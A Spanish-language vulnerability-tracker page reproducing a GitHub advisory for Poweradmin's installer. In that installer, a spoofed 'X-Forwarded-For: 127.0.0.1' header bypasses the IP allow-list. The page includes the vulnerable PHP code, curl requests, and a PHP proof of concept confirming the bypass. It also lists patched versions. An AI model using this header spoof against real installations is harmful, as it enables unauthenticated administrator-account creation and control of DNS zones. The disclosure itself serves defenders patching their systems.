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Advisory · GitHub · Packagist · poweradmin/poweradmin

GHSA-Q7R4-26G9-Q7CV

Installer IP allow-list bypass via spoofable `X-Forwarded-For` header

Parche disponible
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CVSS 3.1
8.1
Alta
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche4 versiones3.9.12 · 4.2.6 · 4.3.5 · 4.4.1
Exposición78 dDesde la divulgación, 3 sept 2026, 11:39 p. m.
Detección76 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Seguimiento de cerca: yo sé de mirar de cerca.Que no se te pase entre tantos tickets.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
4 sept 26
22 oct 26
19 nov 26
21 nov 26
4 sept 26
23 sept 26
13 oct 26
2 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-Q7R4-26G9-Q7CV divulgada · CVSS 8.1 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Poweradmin's installation wizard can be restricted to a set of source addresses via `install/config.php` (`ip_access.enabled`, `allowed_ips`, `allowed_ranges`). `InstallSecurityService::getClientIp()` resolves the client address from the `X-Forwarded-For` request header whenever present, with no trusted-proxy concept and no regard for `REMOTE_ADDR`, so any remote client can satisfy the allow-list by sending `X-Forwarded-For: 127.0.0.1`. The same handling also inverts real proxy semantics by taking the last comma-separated element instead of the first. Independently reproduced against commit `d814d61`: the vulnerable resolution function was exercised directly with a realistic non-local attacker address, confirming the bypass, and the config-file precedence gate that limits the exposure window was confirmed live over HTTP. Affects `<= 4.4.0`; unpatched.

Details

Vulnerable resolution logic, `install/helpers/InstallSecurityService.php`:

private function getClientIp(): string
{
    $hasForwardedForHeader = isset($_SERVER['HTTP_X_FORWARDED_FOR']);
    $hasRemoteAddress = isset($_SERVER['REMOTE_ADDR']);

    if ($hasRemoteAddress && $hasForwardedForHeader) {
        $forwardedIps = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $clientIp = trim(end($forwardedIps));   // fully attacker-controlled

        if ($this->ipValidator->isValidIPv4($clientIp) || $this->ipValidator->isValidIPv6($clientIp)) {
            return $clientIp;   // no trusted-proxy condition
        }
    }
    ...
}

The header is honored no matter what `REMOTE_ADDR` is. `checkIpAccess()` then matches the resolved value against `allowed_ips`/`allowed_ranges`, so any remote client passes the check by sending `X-Forwarded-For: 127.0.0.1` (the shipped allow-list entry).

The rest of the codebase already implements this correctly: `lib/Infrastructure/Utility/IpAddressRetriever::getClientIp()` only consults forwarded headers when `REMOTE_ADDR` is itself private or reserved (i.e., the request plausibly arrived through a local reverse proxy). The installer helper is a separate, weaker implementation of the same job.

Taking `end()` also inverts real proxy semantics: a reverse proxy *appends* the peer address, so the genuine client is the leftmost entry and the rightmost is the nearest proxy. A genuinely proxied request from an allow-listed client (`X-Forwarded-For: 127.0.0.1, 203.0.113.77`) is rejected, while the attacker-crafted ordering (`X-Forwarded-For: 203.0.113.77, 127.0.0.1`) is accepted.

Two preconditions gate exploitability, both confirmed against the running code: (1) `ip_access.enabled` ships as `false` in `install/config.php`, so out of the box there is no IP restriction at all and nothing needs bypassing (the finding affects operators who deliberately enabled the allow-list as a hardening measure); (2) `Installer::run()` checks for `config/settings.php` at line 82, *before* the security check at line 90, and aborts with "There is already a configuration file in place" for every step but the last, so the exposure window is the interval between deploying the application and completing configuration.

PoC

All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8124` via PHP's built-in development server with no external network exposure.

The wizard was fired at over HTTP with `curl`, exactly as a remote attacker would send it:

$ curl -sS -i 'http://127.0.0.1:8124/install/index.php?step=1'
HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:12:52 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=0ggbnndr1j73k7rmug00qrp72c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    ...
    <title>Poweradmin</title>
    ...
$ curl -sS -i -H 'X-Forwarded-For: 127.0.0.1' 'http://127.0.0.1:8124/install/index.php?step=1'
HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:12:56 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=784jp930iv9rsiooebgko8rckk; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

<!doctype html>
...

Both return an identical 200/full form in this test harness because `curl` itself always connects from `127.0.0.1`; the harness's own `REMOTE_ADDR` is already the allow-listed address regardless of any header sent, which masks the bypass by construction (any single-host test setup has this limitation; a genuine test requires two distinct hosts). To verify the actual vulnerable comparison (attacker's real, non-allow-listed source address vs. the same address plus a spoofed header), the identical `getClientIp()` resolution logic was exercised directly with a realistic non-local `REMOTE_ADDR` standing in for a genuine remote attacker:

$ php -r '
require "vendor/autoload.php";
$cfg = require "install/config.php";
$v = new \Poweradmin\Domain\Service\DnsValidation\IPAddressValidator();
function resolve($ra, $xff, $v) {
    $_SERVER["REMOTE_ADDR"] = $ra; unset($_SERVER["HTTP_X_FORWARDED_FOR"]);
    if ($xff !== null) $_SERVER["HTTP_X_FORWARDED_FOR"] = $xff;
    if (isset($_SERVER["REMOTE_ADDR"]) && isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $p = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]); $cand = trim(end($p));
        if ($v->isValidIPv4($cand) || $v->isValidIPv6($cand)) return $cand;
    }
    return $_SERVER["REMOTE_ADDR"];
}
$allowed = $cfg["ip_access"]["allowed_ips"];
$attacker_real_ip = "198.51.100.23";
printf("No header    -> resolved=%s allowed=%s\n", resolve($attacker_real_ip, null, $v), in_array(resolve($attacker_real_ip, null, $v),$allowed)?"YES":"NO");
printf("Spoofed XFF  -> resolved=%s allowed=%s\n", resolve($attacker_real_ip, "127.0.0.1", $v), in_array(resolve($attacker_real_ip, "127.0.0.1", $v),$allowed)?"YES ***BYPASS***":"NO");
'
No header    -> resolved=198.51.100.23 allowed=NO
Spoofed XFF  -> resolved=127.0.0.1 allowed=YES ***BYPASS***

This is the identical code path a `curl -H 'X-Forwarded-For: 127.0.0.1'` request reaches; the only substitution is the peer address, which cannot be spoofed by `curl` itself against a locally listening service.

Config-gate ordering, confirmed live over HTTP with `curl` against the running installer:

$ rm -f config/settings.php
$ curl -sS -i 'http://127.0.0.1:8124/install/index.php?step=1'
HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:13:08 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=h9g1o4bii5u8gbgpkkedrctbuc; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

<!doctype html>
...
$ printf '<?php\nreturn ["database"=>["type"=>"sqlite","file"=>"/tmp/pi2/pa.db"],"security"=>["session_key"=>"existing-prod-key"]];\n' > config/settings.php
$ curl -sS -i 'http://127.0.0.1:8124/install/index.php?step=1'
HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:13:08 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=ovd25nl13fq1t9oj8nnr7kjjm3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

There is already a configuration file in place, so the installation will be skipped.
Impact

Within the deployed-but-unconfigured window, an unauthenticated remote attacker who has enabled (or relies on) `ip_access.enabled` hardening can reach every installation step, including the step that connects to a database named in the request, applies schema modifications, and creates an administrator account with a password of the attacker's choosing. Where the attacker can authenticate to the targeted database (for example using credentials published in a deployment's compose configuration), this results in a persistent superuser account with control over every DNS zone the instance manages. This affects source/archive and git-checkout deployments; the official container images exclude `install/` via `.dockerignore` and are not affected the same way.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
poweradmin/poweradmin≥ 3.0.0 < 3.9.12
poweradmin/poweradmin≥ 4.0.0 < 4.2.6
poweradmin/poweradmin≥ 4.3.0 < 4.3.5
poweradmin/poweradmin≥ 4.4.0 < 4.4.1
3.0.0
3.9.12
4.0.0
4.2.6
4.3.0
4.3.5
4.4.0
4.4.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpoweradmin/poweradmin
Corregida 3.9.12, 4.2.6, 4.3.5, 4.4.1 — —
Versiones corregidas3.9.124.2.64.3.54.4.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/poweradmin/poweradmin/security/advisories/GHSA-q7r4-26g9-q7cv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.